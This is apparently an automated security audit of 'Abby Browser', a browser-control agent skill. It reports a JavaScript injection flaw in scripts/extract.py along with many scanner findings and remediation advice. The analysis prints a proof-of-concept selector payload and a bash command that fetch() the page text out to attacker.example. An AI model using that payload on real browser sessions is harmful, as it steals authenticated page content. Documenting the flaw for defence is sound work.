Back to skill

Security audit

Abby Browser

Security checks for vulnerabilities and agentic risk

Overview

This browser-control skill is mostly coherent, but it exposes under-scoped browser automation that can run injected page JavaScript in an active session.

Install only if you are comfortable giving the skill control over an active browser session. Avoid using it on sensitive authenticated pages until the selector handling in scripts/extract.py is fixed and raw evaluate use is clearly restricted or confirmed by the user.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/extract.py:69
Finding

Arbitrary Browser-Side JavaScript Injection Through an Unescaped CSS Selector

Content
View full analysis
dict: if selector: js = f'document.querySelector("{selector}").innerText' cmd = ['openclaw', 'browser', 'evaluate', '--fn', js] else: cmd = [ 'openclaw', 'browser', 'evaluate', '--fn', 'document.body.innerText' ] ``` ### Technical Analysis The `selector` value is interpolated directly into JavaScript source inside a double-quoted string. No JavaScript-string encoding, selector validation, or separation between code and data is applied. An attacker who can influence the selector can close the `querySelector` string and expression, inject arbitrary JavaScript, and comment out the remaining generated source. For example, this selector: ```text body"); fetch("https://attacker.example/collect?d="+encodeURIComponent(document.body.innerText)); // ``` produces JavaScript equivalent to: ```javascript document.querySelector("body"); fetch( "https://attacker.example/collect?d=" + encodeURIComponent(document.body.innerText) ); // ").innerText ``` The command is passed to `subprocess.run` as an argument array, so this is not an operating-system shell injection. It is nevertheless arbitrary code injection into the active browser page through the `openclaw browser evaluate` interface. ### Attack Path 1. A victim opens a sensitive or authenticated web page through the browser skill. 2. The attacker influences the selector supplied to `extract_text`, such as through a malicious natural-language request or direct invocation: ```bash python scripts/extract.py text 'body"); fetch("https://attacker.example/collect?d="+encodeURIComponent(document.body.innerText)); //' ``` 3. `extract_text` inserts the supplied value dire ...[truncated 1386 chars]
Remediation
View remediation
document.querySelector(selector)?.innerText ``` This maintains a strict distinction between executable code and data. 3. **Validate selector input.** Reject control characters and unexpected input types, impose a reasonable length limit, and handle invalid CSS selectors explicitly. Validation should supplement proper encoding rather than replace it. 4. **Apply least privilege to browser evaluation.** Avoid exposing a general-purpose evaluation path where a dedicated DOM text-extraction API is available. 5. **Add regression tests** using payloads containing quotation marks, backslashes, newlines, comments, and statement separators. Tests should verify that each payload remains selector data and cannot introduce additional JavaScript statements. 6. **Treat browser-derived content as sensitive.** Require explicit authorization before extracting data from authenticated pages or returning full page contents to external callers. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (17)

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The natural-language content presents the skill entirely in Chinese and frames usage around Chinese dialogue, without indicating that other languages are supported or that the language choice is optional. This can violate language/locale policy requirements when a skill implicitly enforces a specific language without user opt-in.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The skill claims it does not automatically execute dangerous actions, yet it documents use of openclaw browser evaluate --fn ..., which is an arbitrary browser-side code execution capability. This inconsistency can mislead users or downstream agents into trusting the skill's safety posture while still exposing a powerful primitive that can manipulate pages, bypass intended interaction safeguards, or perform risky scripted actions.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The docstring and user-facing interface strings indicate the skill is designed in Chinese only, and there is no natural-language indication that users can choose another language. Per the policy, forcing a specific language without opt-in is a natural-language policy violation unless the locale constraint is clearly documented and justified.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/click.py (reported line 29)May include surrounding context.

python
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/extract.py (reported line 35)May include surrounding context.

python
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/extract.py (reported line 88)May include surrounding context.

python
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/form.py (reported line 33)May include surrounding context.

python
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/form.py (reported line 81)May include surrounding context.

python
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/open.py (reported line 37)May include surrounding context.

python
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/screenshot.py (reported line 40)May include surrounding context.

python
cmd.append('--double')
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

This code includes natural-language strings such as the module docstring and argument descriptions entirely in Chinese. Under the policy, forcing a specific language without offering user choice or documenting a justified locale constraint is a violation.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The text extraction helper builds JavaScript with unsanitized selector input and sends it to openclaw browser evaluate, effectively turning a text-extraction API into arbitrary page-script execution. A crafted selector containing quotes and JavaScript payload can break out of the string literal and execute unintended code in the browser context, enabling data access or unauthorized page actions within the active session.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The skill captures browser screenshots without any explicit user warning, consent check, or visible confirmation gate at the point of collection. Screenshots can contain sensitive on-screen data such as credentials, personal information, session state, or confidential documents, so silent capture increases privacy and data-exposure risk.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The module docstring includes both English and Chinese text, which imposes multilingual output/documentation behavior without indicating user choice or opt-in. Under the language/locale policy, forcing or assuming a language without explicit user preference can be a policy concern.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
94% confidence
Finding

This code file contains natural-language strings and docstrings exclusively in Chinese, including the title, function descriptions, and CLI usage text. Under the policy rule, forcing a specific language without presenting a user choice can be a locale/language policy violation.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
94% confidence
Finding

The module description and user-facing strings indicate the skill is designed to communicate in Chinese only. Under the language/locale policy, forcing a specific language without user opt-in is a natural-language policy issue unless the locale restriction is clearly justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

The module docstring and user-facing descriptions are in Chinese, which can impose a language constraint on users without any visible opt-in or explanation. The policy requires flagging forced language or locale behavior unless the skill offers a choice or clearly documents a justified regional limitation.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.